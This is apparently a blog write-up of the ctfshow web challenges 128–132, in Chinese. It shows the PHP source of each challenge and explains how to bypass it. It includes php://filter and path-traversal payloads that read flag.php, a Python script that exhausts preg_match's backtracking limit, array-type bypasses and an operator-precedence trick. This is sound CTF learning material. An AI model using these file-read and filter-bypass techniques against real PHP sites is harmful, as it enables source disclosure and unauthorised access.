ctfshow web入门128-132

目录

Web 128

Web 129

Web 130

Web 131

Web 132


Web 128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

一个新的姿势,当php扩展目录下有php_gettext.dll时:

_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

当正常的gettext(“get_defined_vars”);时会返还get_defined_vars

为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。

call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。

Payload:?f1=_&f2=get_defined_vars

Web 129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos() 函数——查找字符串在另一字符串中第一次出现的位置(区分大小写),返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

所以f中需要有ctfshow 。

readfile() 函数输出一个文件。

利用php伪协议可以套一层协议,无效的话会被忽略。

Payload:

?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php

Base64解码得flag:

或者可以直接读取flag.php省去base64加密

Payload:?f=php://filter/ctfshow/resource=flag.php

还可以利用文件穿越来得到flag。

Payload:

?f=/ctfshow/../../../../var/www/html/flag.php

还有一种

payload:?f=./ctfshow/../flag.php

但看不懂。

Web 130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

刚开始没看懂,但随手试了几次就出来了flag。

Payload:

POST:f=ctfshow

但还是不太理解,网上看了看多位大佬得wp。

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复

所以在ctfshow前面必须有至少一个字符,才会返回true

所以才有了直接f=ctfshow。

还可以利用回溯限制来绕过。

当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。

import requests

url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

还可以通过数组来绕过,这是一个新东西。

stripos应用于数组的时候会返回null,null!==false。

Payload:

POST: f[]=1

Web 131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

上一题的另外两种方法不能用了,只能老老实实回溯了。

import requests

url='http://7827dca0-b812-4948-bac9-0cd382fd656e.challenge.ctf.show/'
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

运行得到flag。

Web 132

上来发现一个网站,我还以为我进错了,又重新进了一遍发现没错,买啥思路,只能用御剑扫描一下。

发现有后缀/admin的网站访问发现以下代码。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

&&的优先级高于||所以在

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

中,先回运行&&再会运行||,当对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

可以让第一个为flise并且令username为admin。

Payload:?code=admin&password=1&username=admin

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值